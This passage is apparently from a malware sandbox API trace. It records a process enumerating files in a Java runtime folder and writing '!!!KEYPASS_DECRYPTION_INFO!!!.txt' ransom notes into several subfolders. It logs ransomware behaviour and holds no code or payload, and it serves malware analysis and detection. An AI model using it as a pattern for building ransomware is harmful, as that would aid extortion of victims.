returned=".dll" [0242.826] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.826] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\deploy.dll") returned=".dll" [0242.826] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.826] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0242.826] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a10 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0242.826] GetLastError () returned 0x3f0 [0242.826] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\dtplugin\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\dtplugin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0242.826] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\dtplugin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0242.827] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\dtplugin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\bin\\dtplugin\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x564 [0242.829] GetFileType (hFile=0x564) returned 0x1 [0242.829] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0242.829] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0242.829] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0242.829] WriteFile (in: hFile=0x564, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0242.830] WriteFile (in: hFile=0x564, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0242.830] CloseHandle (hObject=0x564) returned 1 [0242.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\dtplugin\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79498 [0242.830] FindNextFileW (in: hFindFile=0x2e79498, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.830] FindNextFileW (in: hFindFile=0x2e79498, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.830] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\dtplugin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0242.831] FindNextFileW (in: hFindFile=0x2e79498, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.831] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\dtplugin\\deployJava1.dll") returned=".dll" [0242.831] FindNextFileW (in: hFindFile=0x2e79498, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.831] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\dtplugin\\npdeployJava1.dll") returned=".dll" [0242.831] FindNextFileW (in: hFindFile=0x2e79498, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0242.831] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.831] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\dt_shmem.dll") returned=".dll" [0242.831] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.831] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\dt_socket.dll") returned=".dll" [0242.831] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.831] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\eula.dll") returned=".dll" [0242.831] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.831] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\fontmanager.dll") returned=".dll" [0242.831] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.831] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\fxplugins.dll") returned=".dll" [0242.831] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.831] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\glass.dll") returned=".dll" [0242.831] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.831] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\glib-lite.dll") returned=".dll" [0242.831] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.831] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\gstreamer-lite.dll") returned=".dll" [0242.831] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.831] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\hprof.dll") returned=".dll" [0242.831] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.831] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\instrument.dll") returned=".dll" [0242.831] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.831] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\j2pcsc.dll") returned=".dll" [0242.831] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.831] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\j2pkcs11.dll") returned=".dll" [0242.831] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.832] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jaas_nt.dll") returned=".dll" [0242.832] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.832] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jabswitch.exe") returned=".exe" [0242.832] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.832] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\java-rmi.exe") returned=".exe" [0242.832] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.832] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\java.dll") returned=".dll" [0242.832] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.832] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\java.exe") returned=".exe" [0242.832] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.832] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\JavaAccessBridge-64.dll") returned=".dll" [0242.832] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.832] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\javacpl.cpl") returned=".cpl" [0242.832] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.832] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\javacpl.exe") returned=".exe" [0242.832] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.832] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\javafx_font.dll") returned=".dll" [0242.832] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.832] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\javafx_font_t2k.dll") returned=".dll" [0242.832] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.832] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\javafx_iio.dll") returned=".dll" [0242.832] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.832] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\javaw.exe") returned=".exe" [0242.832] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.832] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\javaws.exe") returned=".exe" [0242.832] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.866] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\java_crw_demo.dll") returned=".dll" [0242.867] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.867] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jawt.dll") returned=".dll" [0242.867] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.867] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\JAWTAccessBridge-64.dll") returned=".dll" [0242.867] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.867] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jdwp.dll") returned=".dll" [0242.867] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.869] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jfr.dll") returned=".dll" [0242.877] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.878] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jfxmedia.dll") returned=".dll" [0242.878] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.878] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jfxwebkit.dll") returned=".dll" [0242.878] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.878] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jjs.exe") returned=".exe" [0242.878] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.878] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jli.dll") returned=".dll" [0242.878] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.878] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jp2iexp.dll") returned=".dll" [0242.878] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.878] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jp2launcher.exe") returned=".exe" [0242.878] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.878] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jp2native.dll") returned=".dll" [0242.878] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.878] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jp2ssv.dll") returned=".dll" [0242.878] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.878] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jpeg.dll") returned=".dll" [0242.878] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.878] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jsdt.dll") returned=".dll" [0242.878] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.878] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jsound.dll") returned=".dll" [0242.878] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.878] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\jsoundds.dll") returned=".dll" [0242.878] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.878] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\kcms.dll") returned=".dll" [0242.878] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.879] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\keytool.exe") returned=".exe" [0242.879] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.879] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\kinit.exe") returned=".exe" [0242.879] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.879] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\klist.exe") returned=".exe" [0242.879] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.879] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\ktab.exe") returned=".exe" [0242.879] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.879] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\lcms.dll") returned=".dll" [0242.879] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.879] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\management.dll") returned=".dll" [0242.879] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.879] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\mlib_image.dll") returned=".dll" [0242.879] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.879] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\msvcp120.dll") returned=".dll" [0242.879] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.879] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\msvcr100.dll") returned=".dll" [0242.879] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.879] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\msvcr120.dll") returned=".dll" [0242.879] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.879] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\net.dll") returned=".dll" [0242.879] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.879] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\nio.dll") returned=".dll" [0242.879] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.879] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\npt.dll") returned=".dll" [0242.879] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.879] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\orbd.exe") returned=".exe" [0242.880] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.880] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\pack200.exe") returned=".exe" [0242.880] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.880] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0242.880] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a10 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0242.880] GetLastError () returned 0x3f0 [0242.880] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\plugin2\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\plugin2\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0242.880] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\plugin2\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0242.881] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\plugin2\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\bin\\plugin2\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x550 [0242.882] GetFileType (hFile=0x550) returned 0x1 [0242.882] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0242.882] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0242.882] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0242.883] WriteFile (in: hFile=0x550, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0242.883] WriteFile (in: hFile=0x550, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0242.884] CloseHandle (hObject=0x550) returned 1 [0242.884] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\plugin2\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79558 [0242.884] FindNextFileW (in: hFindFile=0x2e79558, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.884] FindNextFileW (in: hFindFile=0x2e79558, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.884] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\plugin2\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0242.884] FindNextFileW (in: hFindFile=0x2e79558, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.884] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\plugin2\\msvcr100.dll") returned=".dll" [0242.884] FindNextFileW (in: hFindFile=0x2e79558, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.884] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\plugin2\\npjp2.dll") returned=".dll" [0242.884] FindNextFileW (in: hFindFile=0x2e79558, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0242.886] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.886] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\policytool.exe") returned=".exe" [0242.886] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.886] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\prism_common.dll") returned=".dll" [0242.886] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.886] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\prism_d3d.dll") returned=".dll" [0242.886] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.887] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\prism_sw.dll") returned=".dll" [0242.887] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.887] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\resource.dll") returned=".dll" [0242.887] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.887] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\rmid.exe") returned=".exe" [0242.887] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.887] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\rmiregistry.exe") returned=".exe" [0242.887] FindNextFileW (in: hFindFile=0x2e79418, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0242.887] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0242.887] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a10 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0242.887] GetLastError () returned 0x3f0 [0242.887] PathAppendW (in: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\server\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\server\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0242.887] PathFileExistsW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\server\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0242.888] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\server\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_131\\bin\\server\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x56c [0242.889] GetFileType (hFile=0x56c) returned 0x1 [0242.890] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0242.890] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0242.890] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0242.890] WriteFile (in: hFile=0x56c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0242.891] WriteFile (in: hFile=0x56c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0242.891] CloseHandle (hObject=0x56c) returned 1 [0242.891] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\server\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e792d8 [0242.891] FindNextFileW (in: hFindFile=0x2e792d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.891] FindNextFileW (in: hFindFile=0x2e792d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0242.891] PathFindExtensionW (pszPath="C:\\Program Files\\Java\\jre1.8.0_131\\bin\\server\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0242.891] FindNextFileW (in: hFindFile=0x2e792d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 